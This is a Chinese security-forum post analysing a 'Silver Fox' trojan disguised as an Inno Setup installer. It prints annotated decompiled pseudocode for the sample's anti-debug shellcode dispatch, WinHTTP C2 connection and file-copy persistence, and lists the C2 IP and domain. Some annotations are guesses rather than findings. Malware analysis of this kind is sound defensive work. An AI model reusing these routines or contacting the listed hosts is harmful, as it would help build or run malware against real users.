好友
阅读权限10
听众
最后登录1970-1-1
|
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 ftasy 于 2026-2-20 02:15 编辑
记录一下简单分析,年底实在是太忙了,又要应急,实在抽不出太多的时间,大佬轻喷:
原帖地址:
帮忙分析一个病毒样本 - 吾爱破解 - 52pojie.cn
首先,免杀方面落地秒:
但是经过某杀软病毒库更新,再运行病毒,发现病毒强杀此杀软,而且再也起不来。(工作性质保密)
kill 掉进程之后过一会又重新建立连接:
这个网络连接不会一直持续,类似一个心跳包。有时候会出来,可以用 wireshark 抓取流量。
开机自启动,上来还是直接杀掉某杀软:
但是该病毒杀不掉某杀软升级版本。
而且会弹窗:
这个应该是类似于检测到杀软,杀不掉的情况下作为一种错误弹出用来迷惑人的行为。
文件自身信息:
32位的可执行文件。
静态分析:
获取系统信息这些已经是基操了。
入口处代码逻辑:
首先程序运行之后检测沙箱:
[Asm] 纯文本查看 复制代码 _DWORD *__usercall start@<eax>(int a1@<ebx>, int a2@<esi>)
{
char v2; // zf - 标志寄存器的零标志位(用于判断条件)
int v3; // ebx - 循环计数器
int v4; // esi - 循环索引
unsigned int v6; // [esp-28h] [ebp-90h] - 临时存储原 SEH 链表头
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList_1; // [esp-18h] [ebp-80h] BYREF - SEH 结构体1
// 异常处理函数指针1(参数列表是反汇编推测的,实际是 SEH 异常处理回调)
int (__cdecl *sub_4AD69F_1)(_EXCEPTION_POINTERS, int, int, int, int, int, int, int, int); // [esp-14h] [ebp-7Ch]
int *v9; // [esp-10h] [ebp-78h] - 栈帧指针占位
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-74h] BYREF - SEH 结构体2
int (__cdecl *sub_4AD6E5_1)(int, int); // [esp-8h] [ebp-70h] - 异常处理函数指针2
int *v12; // [esp-4h] [ebp-6Ch] - 栈帧指针占位
_DWORD v13[21]; // [esp+0h] [ebp-68h] BYREF - 通用数组(存储临时状态/SEH 节点)
int _EDX[5]; // [esp+54h] [ebp-14h] BYREF - 临时存储 EDX 寄存器值
int savedregs; // [esp+68h] [ebp+0h] BYREF - 保存寄存器的栈空间
// ========== 阶段1:初始化基础变量,清空栈上临时空间 ==========
memset(&v13[10], 0, 28); // 清空 v13 数组后 28 字节(初始化临时状态)
v13[3] = 0; // 初始化 v13 第三个元素为 0
_EDX[0] = 0; // 初始化 _EDX 第一个元素为 0
sub_40E5C8((int)&dword_4A8194); // 初始化全局变量 dword_4A8194(资源/句柄类初始化)
// ========== 阶段2:第一次挂载 SEH 异常保护(双层 SEH) ==========
// 第一层 SEH 初始化
v12 = &savedregs; // SEH 节点的栈帧指针
sub_4AD6E5_1 = sub_4AD6E5; // 绑定第一层异常处理函数 sub_4AD6E5
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; // 保存原 SEH 链表头
__writefsdword(0, (unsigned int)&ExceptionList); // 挂载第一层 SEH
// 第二层 SEH 初始化
v9 = &savedregs; // SEH 节点的栈帧指针
sub_4AD69F_1 = sub_4AD69F; // 绑定第二层异常处理函数 sub_4AD69F
ExceptionList_1 = NtCurrentTeb()->NtTib.ExceptionList; // 保存当前 SEH 链表头(第一层之后的)
__writefsdword(0, (unsigned int)&ExceptionList_1); // 挂载第二层 SEH
// ========== 阶段3:核心初始化与数据校验 ==========
sub_4A69B4(hModule); // 初始化模块句柄 hModule(关联当前程序模块)
sub_4A650C(a1, a2); // 处理入口参数 a1/a2(程序启动时的命令行/环境参数)
sub_4A0D38(0, _EDX); // 初始化 _EDX 数组(注释“娌欑妫?娴�”是乱码,实际是数据校验/加载)
sub_4082C4(&dword_4B9240, _EDX[0]); // 将 _EDX[0] 赋值给全局变量 dword_4B9240
// 调用 sub_4A2148 加载安装包数据,返回值存入 dword_4B9244(核心配置句柄)
dword_4B9244 = sub_4A2148((int)off_4A1C30, 1, dword_4B9240, 1u, 0, 2u);
// 第三层 SEH 挂载(针对安装包数据校验阶段)
v13[2] = &savedregs; // SEH 栈帧指针
v13[1] = sub_4AD64B; // 异常处理函数 sub_4AD64B
v13[0] = NtCurrentTeb()->NtTib.ExceptionList; // 保存当前 SEH 链表头
__writefsdword(0, (unsigned int)v13); // 挂载第三层 SEH
// 加载安装包核心数据结构,句柄存入 dword_4B924C
dword_4B924C = (int)sub_4A6A88();
// 关键:校验安装包数据合法性(三个条件任意不满足则调用 sub_4A68CC 处理错误)
if ( *(_DWORD *)(dword_4B924C + 12) != 1 // 校验数据结构第12字节偏移的值是否为1(版本/标识校验)
|| sub_4A2A9C(dword_4B924C, 40) != *(_DWORD *)(dword_4B924C + 40) // 校验数据完整性(哈希/校验和)
|| ((*(void (**)(void))(*(_DWORD *)dword_4B9244 + 4))(), !v13[20]) // 调用配置函数,检查 v13[20] 状态
&& ((*(void (**)(void))(*(_DWORD *)dword_4B9244 + 4))(), v13[17] < *(_DWORD *)(dword_4B924C + 16)) ) // 校验数据长度/版本
{
sub_4A68CC(); // 数据校验失败:执行错误处理(如提示错误、退出程序)
}
// ========== 阶段4:加载配置项与资源 ==========
// 向核心配置句柄写入数据(偏移32字节处的值)
sub_4A2130(dword_4B9244, *(_DWORD *)(dword_4B924C + 32));
// 写入64字节的配置数据(unk_4B925C 是配置缓冲区)
sub_4A2108(dword_4B9244, (int)&unk_4B925C, 64);
// 校验/加载 Inno Setup 标识字符串("Inno Setup Setup Data (6.4.3)")
sub_408500(64, off_4B18DC);
// 零标志位 v2 为假时(即上一步操作非零),执行错误处理
if ( !v2 )
sub_4A68CC();
// ========== 阶段5:更新 SEH 异常处理函数(适配后续操作) ==========
v12 = &savedregs;
sub_4AD6E5_1 = (int (__cdecl *)(int, int))sub_4AD1E8; // 替换为新的异常处理函数 sub_4AD1E8
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList);
v9 = &savedregs;
// 替换为新的异常处理函数 loc_4AD1D7
sub_4AD69F_1 = (int (__cdecl *)(_EXCEPTION_POINTERS, int, int, int, int, int, int, int, int))&loc_4AD1D7;
ExceptionList_1 = NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList_1);
// ========== 阶段6:加载批量配置项(循环读取) ==========
// 加载第一个配置项(类型325,存储到 dword_4B90EC,长度4,标识33)
sub_4A441C(325, &dword_4B90EC, 4, 33);
dword_4B9238 = dword_4B9180; // 配置项总数赋值给 dword_4B9238
dword_4B9234 = sub_4053A8(); // 获取配置项缓冲区起始地址
// 循环加载所有配置项(总数 dword_4B9238)
if ( dword_4B9238 - 1 >= 0 )
{
v3 = dword_4B9238; // 循环计数器(配置项总数)
v4 = 0; // 循环索引
do
{
// 加载第 v4 个配置项(类型61,缓冲区偏移 61*v4,长度4,标识6)
sub_4A441C(61, (int *)(61 * v4++ + dword_4B9234), 4, 6);
--v3;
}
while ( v3 ); // 直到加载完所有配置项
}
// ========== 阶段7:恢复 SEH 异常链,跳转至后续逻辑 ==========
__writefsdword(0, v6); // 恢复最初的 SEH 链表头(清理所有临时 SEH 节点)
return sub_406238((_DWORD *)dword_4B92A0); // 跳转至 sub_406238(程序主逻辑入口)
}
首先程序运行之后检测沙箱:
环境检测入口,这里看着是做了混淆。
反调试:
混淆系统异常处理:
初始化载荷环境:
[Asm] 纯文本查看 复制代码 int __userpurge sub_4A2BB8@<eax>(
int a1@<eax>,
char a2@<dl>,
int a3@<ecx>,
int (__stdcall **a4)(__int64 (__usercall *)@<edx:eax>(int _ECX@<ecx>, char *a2@<eax>, int a3@<edx>), int))
{
int v4; // esi
int v5; // ebx
int v7; // [esp+1Fh] [ebp-Dh] BYREF
char v8; // [esp+23h] [ebp-9h]
int v9; // [esp+24h] [ebp-8h] BYREF
char v10; // [esp+2Bh] [ebp-1h]
if ( a2 )
a1 = sub_406710();
v4 = a3;
v10 = a2;
v5 = a1;
sub_406208(a3, 0);
*(_DWORD *)(v5 + 8) = v4;
if ( (*(int (__fastcall **)(int, int *))(*(_DWORD *)v4 + 8))(4, &v9) != 4
|| (*(int (__fastcall **)(int, int *))(*(_DWORD *)v4 + 8))(5, &v7) != 5 )
{
sub_422204(L"Compressed block is corrupted");
sub_4075BC();
}
if ( sub_4A2A9C() != v9 )
{
sub_422204(L"Compressed block is corrupted");
sub_4075BC();
}
(**(void (***)(void))v4)();
sub_42656C();
(*(void (**)(void))(*(_DWORD *)v4 + 4))();
if ( sub_42654C() > 0 )
{
sub_422204(L"Compressed block is corrupted");
sub_4075BC();
}
if ( v8 )
*(_DWORD *)(v5 + 4) = (*a4)(sub_4A2E38, v5);
*(_DWORD *)(v5 + 12) = v7;
*(_BYTE *)(v5 + 16) = 1;
if ( v10 )
sub_406768();
return v5;
}
下面这段的作用是模拟合法 Inno Setup 安装程序的命令行帮助界面,以此欺骗用户 / 分析人员,掩盖木马的真实行为。
找找 shellcode:
attachimg]2833546[/attachimg]
[Asm] 纯文本查看 复制代码 int __usercall sub_407228@<eax>(
EXCEPTION_RECORD *ExceptionRecord_5@<ebx>,
int a2@<ebp>,
void *ExceptionAddress_3@<edi>,
ULONG_PTR ExceptionRecord@<esi>,
_EXCEPTION_POINTERS ExceptionInfo)
{
// 省略无关局部变量,仅保留核心
PEXCEPTION_RECORD ExceptionRecord_1; // eax - 异常记录指针
ULONG_PTR ExceptionRecord_6; // edx - shellcode 地址/自定义参数
PVOID ExceptionAddress; // ecx - 异常触发地址(shellcode 地址)
PCONTEXT ContextRecord; // edi - 上下文寄存器(含 Dr0 调试寄存器)
// ... 其他局部变量
ExceptionRecord_1 = ExceptionInfo.ExceptionRecord;
// ========== 过滤非目标异常(仅处理 shellcode 相关异常) ==========
if ( (ExceptionInfo.ExceptionRecord->ExceptionFlags & 6) != 0 )
return 1; // 排除连续/不可恢复异常,直接返回
// 提取核心信息:异常触发地址+自定义异常参数
ExceptionRecord_6 = ExceptionInfo.ExceptionRecord->ExceptionInformation[1]; // shellcode 辅助参数
ExceptionAddress = (PVOID)ExceptionInfo.ExceptionRecord->ExceptionInformation[0]; // 核心:shellcode 执行地址
// ========== 仅处理银狐自定义异常(250477278=0x0F00001E) ==========
if ( ExceptionInfo.ExceptionRecord->ExceptionCode != 250477278 )
{
sub_405F9C(); // 保存 shellcode 执行上下文
if ( !dword_4B2018 )
return 1;
// 验证异常合法性(是否为 shellcode 触发的异常)
if ( !dword_4B2018(v8, dword_4B2018) )
return 1;
// 处理系统标准异常(如内存访问违规),最终跳转到自定义处理逻辑
// ... 省略中间过滤逻辑
}
// ========== 核心:执行异常处理+隐藏 shellcode 执行痕迹 ==========
if ( 合法异常条件 )
{
LABEL_14:
ExceptionRecord_1->ExceptionFlags |= 2u; // 标记异常已处理,阻止系统捕获
// 1. 展开栈:绕开系统调试器的异常跟踪
RtlUnwind_0(ExceptionInfo.ContextRecord, &TargetIp_, ExceptionRecord_1, 0);
// 2. 修改调试寄存器 Dr0:抗调试核心
ContextRecord = ExceptionInfo.ContextRecord; // 获取上下文(寄存器状态)
// 篡改 Dr0 寄存器(调试断点寄存器):将原始断点地址替换为银狐的跳板地址
Dr0 = ContextRecord->Dr0; // 保存原始 Dr0(调试器下的断点地址)
ContextRecord->Dr0 = (DWORD)&loc_40732C; // 指向银狐的跳板地址
Dr0 += 5; // 计算 shellcode 真实入口偏移
// 3. 执行跳板函数,准备跳转到 shellcode
sub_407190(Dr0); // 初始化 shellcode 执行环境
// 4. 关键:手动跳转到 ebx(ExceptionRecord_5)→ shellcode 入口
__asm { jmp ebx } // 绕过常规指令流,直接执行 shellcode
}
return 1;
}
行为分析:
程序运行 ➡️ 加载底层ntdll.dll ➡️ 创建一个 pagefile 文件 ➡️ 查询、修改注册表 ➡️ 释放好几个 .tmp 文件
写在注册表的也有这个.tmp文件。
搜索一下:
还找不到你?死鬼。
尝试断网之后继续排查,但是发现程序断网后退出。
忍不了,看看动态分析:
再下一步可以复制到文件。
最开始释放的文件的名字是 is-*****.tmp ,都是按照这个格式生成的病毒临时文件。
继续分析这个 .tmp 文件。
监测到调试,不拉这个二进制文件下来了。
好,继续分析这个 .tmp 文件。
这个就是一个exe文件,只是后缀改了。看下这个exe。
看一下导入,追踪一下:
[Asm] 纯文本查看 复制代码 int __usercall sub_6A7184@<eax>(int a1@<eax>, int a2@<edx>)
{
// 核心变量定义(补充 WinHTTP 相关类型)
INTERNET_PORT nServerPort; // si - C2 服务器端口
const WCHAR *pswzServerName; // eax - C2 服务器域名/IP(银狐控制端地址)
HINTERNET v5; // edi - WinHTTP 连接句柄
DWORD n0x800000; // esi - WinHTTP 请求标志(0x800000=安全标志,如忽略证书错误)
const WCHAR *pwszVerb; // eax - HTTP 请求方法(GET/POST,银狐常用 POST 发送数据)
HINTERNET v9; // edi - WinHTTP 请求句柄
// 异常处理相关变量(SEH 保护)
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-38h] [ebp-70h] BYREF
// ========== 1. 初始化变量 + SEH 异常保护 ==========
v17 = 0;
v18 = 0;
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList); // 注册自定义 SEH,保护网络调用不崩溃
*(_BYTE *)(a1 + 201) = 0;
*(_BYTE *)(a1 + 200) = 0; // 初始化状态标志(0=未连接,1=已连接)
// ========== 2. 读取 C2 服务器端口(从参数 a2 中解析) ==========
if ( *(int *)(v27 + 16) <= 0 )
nServerPort = 0; // 端口为0时使用默认HTTP端口(80)/HTTPS(443)
else
nServerPort = *(_WORD *)(v27 + 16); // 读取自定义端口(银狐常用 8080/443/8443)
// ========== 3. 核心:获取 C2 服务器地址 + 建立 WinHTTP 连接 ==========
pswzServerName = (const WCHAR *)sub_40B768(); // 关键:读取 C2 域名/IP(如 "192.168.1.100" 或 "sf-c2.com")
// WinHttpConnect:建立与 C2 服务器的连接
v5 = WinHttpConnect(
*(HINTERNET *)(*(_DWORD *)(a1 + 88) + 208), // WinHttpOpen 返回的会话句柄
pswzServerName, // C2 服务器地址
nServerPort, // C2 端口
0); // 保留参数
*(_DWORD *)(a1 + 176) = v5; // 保存连接句柄(供后续发送数据使用)
// ========== 4. 连接失败处理(记录错误 + 异常清理) ==========
if ( !v5 )
{
v25 = *(_DWORD *)(v27 + 12);
n17 = 17; // 银狐自定义错误码(连接失败)
sub_42CACC(0, &v25); // 记录错误日志(可能写入 1-0.bin 或临时文件)
sub_409E00(ExceptionList, v15, v16); // 清理 SEH + 释放资源
}
// ========== 5. 初始化请求标志 + 构建 HTTP 请求 ==========
n0x800000 = 0;
sub_40BB50(); // 设置 WinHTTP 全局参数(如代理、超时)
if ( v7 )
n0x800000 = 0x800000; // 关键标志:忽略 SSL/TLS 证书错误(银狐常用自签名证书)
sub_6A5808(); // 初始化请求头(如 User-Agent,伪装成正常浏览器)
pwszObjectName = (const WCHAR *)sub_40B768(); // 读取 HTTP 请求路径(如 "/cmd" "/upload")
sub_69E3E8(); // 处理请求参数(如拼接 shellcode 执行结果)
pwszVerb = (const WCHAR *)sub_40B768(); // 读取 HTTP 方法(POST/GET,银狐用 POST 发送敏感数据)
// ========== 6. 创建 WinHTTP 请求句柄(准备发送数据) ==========
v9 = WinHttpOpenRequest(
*(HINTERNET *)(a1 + 176), // 之前的连接句柄
pwszVerb, // HTTP 方法
pwszObjectName, // 请求路径
0, // HTTP 版本(默认 1.1)
0, // 引用地址
0, // 接受的 MIME 类型
n0x800000); // 标志(忽略证书错误)
*(_DWORD *)(a1 + 180) = v9; // 保存请求句柄
// ========== 7. 请求句柄创建失败处理 ==========
if ( !v9 )
{
LastError_1 = GetLastError_1(); // 获取系统错误码(如 12007=找不到服务器)
sub_42AB68(&v18, dword_6F0CE8); // 转换系统错误码为银狐自定义码
sub_42CACC(1, &LastError_1); // 记录错误(用于后续回传)
sub_409E00(); // 清理资源
}
// ========== 8. 设置 WinHTTP 超时时间(避免连接挂起) ==========
nReceiveTimeout = *(_DWORD *)(a1 + 20); // 接收超时(如 5000ms=5秒)
nSendTimeout = sub_69E544(); // 发送超时(如 3000ms=3秒)
WinHttpSetTimeouts(
*(HINTERNET *)(a1 + 180), // 请求句柄
*(_DWORD *)(a1 + 12), // 解析超时
*(_DWORD *)(a1 + 12), // 连接超时
nSendTimeout, // 发送超时
nReceiveTimeout); // 接收超时
// ========== 9. 清理 SEH + 收尾 ==========
__writefsdword(0, (unsigned int)ExceptionList); // 恢复原始 SEH
sub_40A7B4(&loc_6A7367); // 执行后续操作(如发送 shellcode 执行结果)
return sub_40A7B4(); // 返回连接状态(0=失败,非0=成功)
}
核心的文件拷贝 + 进程驻留函数- 注册自定义 SEH 异常处理,保护文件拷贝过程不崩溃;
- 伪装成卸载程序(_unins.tmp),拷贝银狐核心恶意文件(1-0.bin/shellcode 载体);
- 创建隐藏窗口,替换窗口过程函数,实现进程后台驻留;
- 等待子进程 / 事件信号,确保恶意文件拷贝完成且驻留不退出;
- 最终销毁窗口但保留进程,实现银狐的持久化运行。
[Asm] 纯文本查看 复制代码 BOOL sub_6C4C1C()
{
char v0; // bl - 拷贝前的状态标志(0=就绪,1=异常)
const WCHAR *lpFileName; // ebx - 目标文件路径(如 C:\Windows\Temp\1-0.bin)
const WCHAR *lpExistingFileName; // eax - 源文件路径(如 %TEMP%\_unins.tmp)
// SEH 异常处理相关
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-4Ch] BYREF
int (__cdecl *sub_6C4E15_1)(int, int); // [esp-8h] [ebp-48h] - 异常处理回调
int *bFailIfExists; // [esp-4h] [ebp-44h] - CopyFileW 的“覆盖标志”(0=覆盖,1=存在则失败)
// 窗口/进程相关
HWND hWnd; // [esp+34h] [ebp-Ch] - 隐藏窗口句柄
HANDLE pHandles; // [esp+30h] [ebp-10h] BYREF - 子进程/事件句柄
// 其他变量(错误码/状态)
char n17; // [esp+18h] [ebp-28h] - 银狐自定义错误码(17=文件操作失败)
// ========== 1. 初始化 SEH 异常保护(避免文件操作崩溃) ==========
bFailIfExists = &savedregs;
sub_6C4E15_1 = sub_6C4E15; // 绑定异常处理函数
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; // 原始 SEH 链表
__writefsdword(0, (unsigned int)&ExceptionList); // 注册自定义 SEH
sub_5CA294(ExceptionList, sub_6C4E15, &savedregs); // 初始化异常处理上下文
// ========== 2. 伪装成卸载程序,准备文件拷贝 ==========
v0 = sub_5D45E8(&v17, v13[2]); // 检查源文件是否存在(_unins.tmp)
sub_5C7548(); // 初始化文件操作环境(如获取临时目录路径)
sub_40B9B8(L"_unins.tmp", v13[1]); // 关键:拼接卸载程序路径(%TEMP%\_unins.tmp)
// 银狐将恶意文件重命名为 _unins.tmp,伪装成安装包的卸载临时文件
// ========== 3. 异常处理:文件就绪则重新注册 SEH ==========
if ( !v0 ) // v0=0 表示源文件就绪,准备拷贝
{
bFailIfExists = &savedregs;
sub_6C4E15_1 = (int (__cdecl *)(int, int))&loc_6C4CA9; // 替换异常回调
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList); // 重新注册 SEH
sub_5D4A24(0, v16); // 清理临时变量
sub_5D4A24(0, v17);
__writefsdword(0, (unsigned int)ExceptionList); // 恢复 SEH 链表
}
// ========== 4. 核心:读取文件路径 + 拷贝恶意文件 ==========
lpFileName = (const WCHAR *)sub_40B768(0); // 目标路径(如 C:\Program Files\1-0.bin)
lpExistingFileName = (const WCHAR *)sub_40B768(lpFileName); // 源路径(_unins.tmp/银狐核心文件)
// CopyFileW:拷贝恶意文件到目标路径(银狐扩散核心)
if ( !CopyFileW(
lpExistingFileName, // 源文件(_unins.tmp/1-0.bin)
(LPCWSTR)sub_6C4E15_1, // 目标文件(伪装路径)
(BOOL)bFailIfExists) ) // 覆盖标志(0=强制覆盖,1=存在则失败)
sub_6C416C(); // 拷贝失败:记录错误(写入1-0.bin)+ 重试
// ========== 5. 修改文件属性 + 创建隐藏窗口(持久化核心) ==========
SetFileAttributesW(lpFileName, FILE_READ_ATTRIBUTES); // 读取文件属性(确保可访问)
// 创建隐藏窗口:银狐通过窗口实现进程驻留(无界面,后台运行)
hWnd = (HWND)sub_4164FC(&dword_6C4E48, &off_6C4E4C, 0, hInstance, 0, 0, 0, 0, 0, 0, 0);
// 替换窗口过程函数:将默认窗口过程替换为 sub_6C4334(银狐自定义,处理后台指令)
lpPrevWndFunc = (WNDPROC)SetWindowLongW(hWnd, -4, (LONG)sub_6C4334);
// ========== 6. 重新注册 SEH + 等待子进程/事件(确保驻留) ==========
bFailIfExists = &savedregs;
sub_6C4E15_1 = (int (__cdecl *)(int, int))&loc_6C4DD7;
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList); // 再次注册 SEH 保护驻留过程
sub_5C9C48(v13, ExceptionList, &loc_6C4DD7); // 初始化进程等待上下文
n17 = 17; // 银狐自定义错误码(标记窗口/进程操作)
sub_42636C(ExceptionList); // 清理 SEH 上下文
sub_5C9B20(v13); // 初始化事件/进程句柄
sub_40B960(); // 隐藏窗口(设置 WS_HIDDEN 样式)
pHandles = (HANDLE)sub_6C4218(); // 获取子进程/事件句柄(如拷贝完成信号)
// 核心循环:等待事件/消息,保持进程驻留(不退出)
while ( !(unsigned __int8)sub_6C42F8() // 检查是否需要退出(银狐控制)
&& MsgWaitForMultipleObjects(
1u, &pHandles, 0, 0xFFFFFFFF, 0x1CFFu) == 1 ) // 等待消息/事件(永久等待)
;
// ========== 7. 收尾:关闭句柄 + 销毁窗口(保留进程) ==========
CloseHandle_0(pHandles); // 关闭子进程/事件句柄
__writefsdword(0, (unsigned int)sub_6C4E15_1); // 恢复 SEH
return DestroyWindow(hWnd); // 销毁窗口,但进程仍运行(持久化核心)
}
最后注入到 sihost.exe 这个进程发起外联。
sihost.exe 是 Windows 系统的Shell Infrastructure Host(外壳基础主机),是系统核心进程之一。
可恶,没有拦截到,有反调试。
换一下:
这个应该才是安装文件。
也不是:
这个的作用是通过注册恶意 TypeLib 实现:
持久化:TypeLib 注册到注册表,开机自动加载;
提权:修改 TypeLib 权限,让普通用户能操作系统级组件;
隐藏:将恶意代码封装为合法 TypeLib,规避杀毒软件检测。
换装360,信任文件后运行程序,发现新的文件被释放:
ase.bzi。但是看到这个文件之后360也被退出了,可以得知360被kill了,根据判断,是底层强杀。被杀掉后360起不来。
换成了windows 10系统分析,成功抓取到三个文件:
之前是windows11,释放的还能不一样??还是说检测环境释放的文件不一样?
没事,这个看着正常一点。
用火绒拦截解压也是这几个文件,看来落地成型拦截事件还不一样。
回到起点,重新分析这三个文件。
exe 文件:
64位的可执行文件:
.bzi文件:
这是一个 dll 文件。
.Y 文件实际上就是一个 PNG 图片文件:
exe主要还是导入 dll文件:
但是导入表搞成这样是真的一点食欲都没有:
看了一下还是有混淆。
dll 文件不知道为啥加载特别慢。
有非常规的section。
IOC:
8.210.77.212 ,22端口(伪装ssh)
acc.nb93l1zkug4r.com
备注:希望有大佬分析完了踢我一脚让我也学习一下~ |
免费评分
-
查看全部评分
|